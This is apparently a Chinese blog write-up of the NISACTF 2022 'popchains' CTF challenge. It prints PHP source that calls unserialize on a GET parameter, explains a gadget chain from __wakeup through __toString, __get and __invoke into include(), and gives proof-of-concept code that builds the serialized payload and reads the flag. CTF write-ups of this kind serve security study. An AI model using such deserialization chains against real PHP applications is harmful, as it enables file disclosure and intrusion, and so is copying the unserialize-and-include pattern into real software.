[NISACTF 2022]popchains

题目源码

Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/

解题思路

Road_is_Long类中,__toString()在该类被当作字符串处理的时候执行,__wakeup()方法下的preg_match()将$page变量当作字符串处理。如果我们把类中的 $page 赋值为此类本身,则当其触发__wakeup() 方法后,触发__toString()。而unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup()方法,所以当我们利用该类构造的序列化数据传入时,此类下的__wakeup() 方法就会调用。 然而触发__toString()下的$this->string->page该如何利用? 看Make_a_Change类下,有一个__get()方法,当访该类中私有或者不存在的成员属性值时调用。而Make_a_Change类中没有$page变量,则将Road_is_Long类中的$string赋值为Make_a_Change类,可以触发__get()方法。此__get()将$effort当作函数执行,并返回。 再来看Try_Work_Hard类,其__invoke()方法,在把该类当作函数执行时调用。__invoke()下的append()就是使用include()包含一个目标。因此将Make_a_Change类中的$effort赋值为Try_Work_Hard类,再将Try_Work_Hard类中的$var赋值为/flag
整体思路 Road_is_Long __wakeup() --> Road_is_Long __toString() --> Make_a_Change __get() --> Try_Work_Hard

代码实现反推

$a=new Road_is_Long(); $a->page=new Road_is_Long(); $a->page->string=new Make_a_Change(); $a->page->string->effort=new Try_Work_Hard(); echo urlencode(serialize($a));

POC

<?php class Road_is_Long{ public $page; public $string; } class Try_Work_Hard{ protected $var="/flag"; } class Make_a_Change{ public $effort; } $a=new Road_is_Long(); $a->page=new Road_is_Long(); $a->page->string=new Make_a_Change(); $a->page->string->effort=new Try_Work_Hard(); echo urlencode(serialize($a)); ?>

传参得到flag

NSSCTF{5a7a2d51-9b77-465b-820c-d7f84750140c}

__EOF__

本文作者Tzyyyyy
本文链接https://www.cnblogs.com/Tzyyyyy/p/17614546.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Tzyyyyy  阅读(66)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示